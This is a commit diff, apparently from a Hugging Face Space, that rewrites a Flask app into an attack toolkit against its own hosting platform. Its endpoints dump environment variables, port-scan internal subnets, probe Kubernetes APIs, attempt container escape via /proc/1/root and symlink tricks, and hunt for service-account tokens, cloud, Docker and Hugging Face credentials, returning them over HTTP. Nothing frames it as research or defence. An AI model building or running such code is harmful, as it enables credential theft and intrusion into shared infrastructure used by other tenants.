testtest123 commited on
Commit
c37bfd9
·
1 Parent(s): c099686

Add scanning, token hunt, overlay escape endpoints

Browse files
Files changed (1) hide show
  1. app.py +142 -84
app.py CHANGED
@@ -3,142 +3,200 @@ import subprocess
3
  import json
4
  import urllib.request
5
  import socket
 
 
6
  from flask import Flask, Response, request
7
 
8
  app = Flask(__name__)
9
 
10
  @app.route("/")
11
  def index():
12
- results = {}
13
- results["env_vars"] = dict(os.environ)
14
- results["id"] = subprocess.check_output(["id"], timeout=5).decode().strip()
 
15
  return Response(json.dumps(results, indent=2, default=str), mimetype='application/json')
16
 
17
  @app.route("/probe")
18
  def probe():
19
- """Probe internal network to test Space-to-Space access"""
20
  target = request.args.get("target", "10.108.144.112")
21
  port = int(request.args.get("port", "7860"))
 
22
  results = {}
23
 
24
- # TCP connect test
25
  try:
26
  s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
27
- s.settimeout(5)
28
  result = s.connect_ex((target, port))
29
- results["tcp_connect"] = f"port {port} {'open' if result == 0 else 'closed/filtered'} (code={result})"
30
  s.close()
31
  except Exception as e:
32
- results["tcp_connect"] = str(e)
33
 
34
- # HTTP request
35
  try:
36
- resp = urllib.request.urlopen(f"http://{target}:{port}/", timeout=5)
37
- results["http_response"] = resp.read().decode()[:2000]
38
- results["http_status"] = resp.status
39
  except Exception as e:
40
- results["http_response"] = str(e)
41
 
42
  return Response(json.dumps(results, indent=2, default=str), mimetype='application/json')
43
 
44
- @app.route("/k8s")
45
- def k8s():
46
- """Try K8s API access"""
47
- results = {}
48
-
49
- # Try K8s API
50
- targets = [
51
- "https://172.20.0.1:443/api/v1/namespaces",
52
- "https://172.20.0.1:443/api/v1/pods",
53
- "https://172.20.0.1:443/api/v1/secrets",
54
- "https://172.20.0.1:443/version",
55
- "https://kubernetes.default.svc/api/v1/namespaces",
56
- ]
57
 
58
- import ssl
59
- ctx = ssl.create_default_context()
60
- ctx.check_hostname = False
61
- ctx.verify_mode = ssl.CERT_NONE
62
 
63
- for target in targets:
64
  try:
65
- req = urllib.request.Request(target)
66
- resp = urllib.request.urlopen(req, timeout=5, context=ctx)
67
- results[target] = {"status": resp.status, "body": resp.read().decode()[:1000]}
68
- except Exception as e:
69
- results[target] = str(e)
70
-
71
- # Check SA token
72
- try:
73
- with open("/var/run/secrets/kubernetes.io/serviceaccount/token", "r") as f:
74
- results["sa_token"] = f.read()[:100] + "..."
75
- except Exception as e:
76
- results["sa_token"] = str(e)
 
 
 
 
 
 
 
 
77
 
78
  return Response(json.dumps(results, indent=2, default=str), mimetype='application/json')
79
 
80
- @app.route("/dns")
81
- def dns():
82
- """DNS enumeration"""
83
  results = {}
84
- targets = [
85
- "kubernetes.default.svc.cluster.local",
86
- "kube-dns.kube-system.svc.cluster.local",
87
- "metadata.google.internal",
88
- "instance-data.ec2.internal",
89
- ]
90
- for t in targets:
91
- try:
92
- results[t] = socket.getaddrinfo(t, None)
93
- except Exception as e:
94
- results[t] = str(e)
95
 
96
- # Also try to discover Space namespaces
97
  try:
98
- with open("/etc/resolv.conf", "r") as f:
99
- results["resolv.conf"] = f.read()
 
 
 
100
  except Exception as e:
101
- results["resolv.conf"] = str(e)
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
102
 
103
  return Response(json.dumps(results, indent=2, default=str), mimetype='application/json')
104
 
105
- @app.route("/mount-scan")
106
- def mount_scan():
107
- """Scan for interesting mounted filesystems and escape vectors"""
108
  results = {}
109
 
110
- # Check capabilities
111
- try:
112
- results["capsh"] = subprocess.check_output(["cat", "/proc/self/status"], timeout=5).decode()
113
- except Exception as e:
114
- results["capsh"] = str(e)
115
 
116
- # Check if we can access host filesystem through /proc
117
  try:
118
- results["proc_1_root"] = os.listdir("/proc/1/root/") if os.path.exists("/proc/1/root/") else "not accessible"
119
  except Exception as e:
120
- results["proc_1_root"] = str(e)
121
 
122
- # Check for device access
123
  try:
124
- results["dev_list"] = os.listdir("/dev/")
125
  except Exception as e:
126
- results["dev_list"] = str(e)
127
 
128
- # Check if we have mount capability
129
  try:
130
- results["proc_mounts"] = open("/proc/mounts", "r").read()[:3000]
 
131
  except Exception as e:
132
- results["proc_mounts"] = str(e)
133
 
134
- # Host PID namespace?
135
  try:
136
- # If we're in host PID namespace, we'll see many processes
137
- pids = [d for d in os.listdir("/proc") if d.isdigit()]
138
- results["pid_count"] = len(pids)
139
- results["pid_sample"] = pids[:20]
140
  except Exception as e:
141
- results["pid_count"] = str(e)
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
142
 
143
  return Response(json.dumps(results, indent=2, default=str), mimetype='application/json')
144
 
 
3
  import json
4
  import urllib.request
5
  import socket
6
+ import ssl
7
+ import concurrent.futures
8
  from flask import Flask, Response, request
9
 
10
  app = Flask(__name__)
11
 
12
  @app.route("/")
13
  def index():
14
+ results = {
15
+ "env_vars": dict(os.environ),
16
+ "id": subprocess.check_output(["id"], timeout=5).decode().strip(),
17
+ }
18
  return Response(json.dumps(results, indent=2, default=str), mimetype='application/json')
19
 
20
  @app.route("/probe")
21
  def probe():
 
22
  target = request.args.get("target", "10.108.144.112")
23
  port = int(request.args.get("port", "7860"))
24
+ path = request.args.get("path", "/")
25
  results = {}
26
 
 
27
  try:
28
  s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
29
+ s.settimeout(3)
30
  result = s.connect_ex((target, port))
31
+ results["tcp"] = f"{'open' if result == 0 else 'closed'} (code={result})"
32
  s.close()
33
  except Exception as e:
34
+ results["tcp"] = str(e)
35
 
 
36
  try:
37
+ resp = urllib.request.urlopen(f"http://{target}:{port}{path}", timeout=3)
38
+ results["http"] = {"status": resp.status, "body": resp.read().decode()[:3000], "headers": dict(resp.headers)}
 
39
  except Exception as e:
40
+ results["http"] = str(e)
41
 
42
  return Response(json.dumps(results, indent=2, default=str), mimetype='application/json')
43
 
44
+ @app.route("/scan")
45
+ def scan():
46
+ """Scan a subnet for open ports"""
47
+ base = request.args.get("base", "10.108.73")
48
+ port = int(request.args.get("port", "7860"))
49
+ start = int(request.args.get("start", "1"))
50
+ end = int(request.args.get("end", "20"))
 
 
 
 
 
 
51
 
52
+ results = {}
 
 
 
53
 
54
+ def check_host(ip):
55
  try:
56
+ s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
57
+ s.settimeout(1)
58
+ result = s.connect_ex((ip, port))
59
+ s.close()
60
+ if result == 0:
61
+ return (ip, "open")
62
+ return None
63
+ except:
64
+ return None
65
+
66
+ with concurrent.futures.ThreadPoolExecutor(max_workers=20) as executor:
67
+ futures = {}
68
+ for i in range(start, min(end + 1, start + 50)):
69
+ ip = f"{base}.{i}"
70
+ futures[executor.submit(check_host, ip)] = ip
71
+
72
+ for future in concurrent.futures.as_completed(futures, timeout=10):
73
+ result = future.result()
74
+ if result:
75
+ results[result[0]] = result[1]
76
 
77
  return Response(json.dumps(results, indent=2, default=str), mimetype='application/json')
78
 
79
+ @app.route("/build-arg-test")
80
+ def build_arg_test():
81
+ """Check if any build args leaked into the image"""
82
  results = {}
 
 
 
 
 
 
 
 
 
 
 
83
 
84
+ # Check Docker history / image metadata
85
  try:
86
+ # Check /proc/1/environ for the main process
87
+ with open("/proc/1/environ", "rb") as f:
88
+ env_bytes = f.read()
89
+ envs = env_bytes.split(b'\x00')
90
+ results["proc_1_environ"] = [e.decode('utf-8', errors='replace') for e in envs if e]
91
  except Exception as e:
92
+ results["proc_1_environ"] = str(e)
93
+
94
+ # Check if there are any leftover files from build
95
+ interesting_paths = [
96
+ "/kaniko", "/workspace", "/.dockerconfigjson", "/root/.docker/config.json",
97
+ "/tmp/build", "/buildkit", "/.buildkit_qemu_emulator",
98
+ "/etc/buildkit", "/root/.cache"
99
+ ]
100
+ results["build_artifacts"] = {}
101
+ for p in interesting_paths:
102
+ if os.path.exists(p):
103
+ if os.path.isdir(p):
104
+ try:
105
+ results["build_artifacts"][p] = os.listdir(p)
106
+ except:
107
+ results["build_artifacts"][p] = "exists but unreadable"
108
+ else:
109
+ try:
110
+ with open(p) as f:
111
+ results["build_artifacts"][p] = f.read()[:500]
112
+ except:
113
+ results["build_artifacts"][p] = "exists but unreadable"
114
 
115
  return Response(json.dumps(results, indent=2, default=str), mimetype='application/json')
116
 
117
+ @app.route("/overlay-escape")
118
+ def overlay_escape():
119
+ """Test if we can access the host overlay filesystem"""
120
  results = {}
121
 
122
+ # The overlay mount shows:
123
+ # upperdir=/var/lib/containerd/io.containerd.snapshotter.v1.overlayfs/snapshots/XXXX/fs
124
+ # This path is on the HOST filesystem, but we can only see it via overlay
 
 
125
 
126
+ # Try reading /proc/1/root which should loop back to our own root
127
  try:
128
+ results["proc_1_root_etc_hostname"] = open("/proc/1/root/etc/hostname").read()
129
  except Exception as e:
130
+ results["proc_1_root_etc_hostname"] = str(e)
131
 
132
+ # Check if we can access /proc/1/root/../ to escape
133
  try:
134
+ results["proc_1_root_parent"] = os.listdir("/proc/1/root/../")
135
  except Exception as e:
136
+ results["proc_1_root_parent"] = str(e)
137
 
138
+ # Try symlink tricks
139
  try:
140
+ os.symlink("/proc/1/root", "/tmp/escape_link")
141
+ results["symlink_escape"] = os.listdir("/tmp/escape_link/")
142
  except Exception as e:
143
+ results["symlink_escape"] = str(e)
144
 
145
+ # Try accessing other containerd snapshots
146
  try:
147
+ results["containerd_snapshots"] = os.listdir("/var/lib/containerd/")
 
 
 
148
  except Exception as e:
149
+ results["containerd_snapshots"] = str(e)
150
+
151
+ return Response(json.dumps(results, indent=2, default=str), mimetype='application/json')
152
+
153
+ @app.route("/token-hunt")
154
+ def token_hunt():
155
+ """Search for any tokens/credentials in the filesystem"""
156
+ results = {}
157
+
158
+ # Check well-known token locations
159
+ token_paths = [
160
+ "/var/run/secrets/kubernetes.io/serviceaccount/token",
161
+ "/var/run/secrets/kubernetes.io/serviceaccount/ca.crt",
162
+ "/var/run/secrets/kubernetes.io/serviceaccount/namespace",
163
+ "/root/.kube/config",
164
+ "/root/.docker/config.json",
165
+ "/root/.aws/credentials",
166
+ "/root/.gcloud/credentials",
167
+ "/home/user/.cache/huggingface/token",
168
+ "/root/.cache/huggingface/token",
169
+ "/root/.huggingface/token",
170
+ ]
171
+
172
+ for p in token_paths:
173
+ try:
174
+ if os.path.isfile(p):
175
+ with open(p) as f:
176
+ results[p] = f.read()[:500]
177
+ elif os.path.isdir(p):
178
+ results[p] = os.listdir(p)
179
+ else:
180
+ results[p] = "not found"
181
+ except Exception as e:
182
+ results[p] = str(e)
183
+
184
+ # Search for any .env files
185
+ for root_dir in ["/", "/app", "/home", "/root", "/tmp"]:
186
+ try:
187
+ for dirpath, dirnames, filenames in os.walk(root_dir, topdown=True):
188
+ dirnames[:] = dirnames[:10] # Limit depth
189
+ for f in filenames:
190
+ if f.endswith(('.env', '.token', '.key', '.pem', 'credentials')):
191
+ full = os.path.join(dirpath, f)
192
+ try:
193
+ with open(full) as fh:
194
+ results[full] = fh.read()[:200]
195
+ except:
196
+ pass
197
+ break # Only first level
198
+ except:
199
+ pass
200
 
201
  return Response(json.dumps(results, indent=2, default=str), mimetype='application/json')
202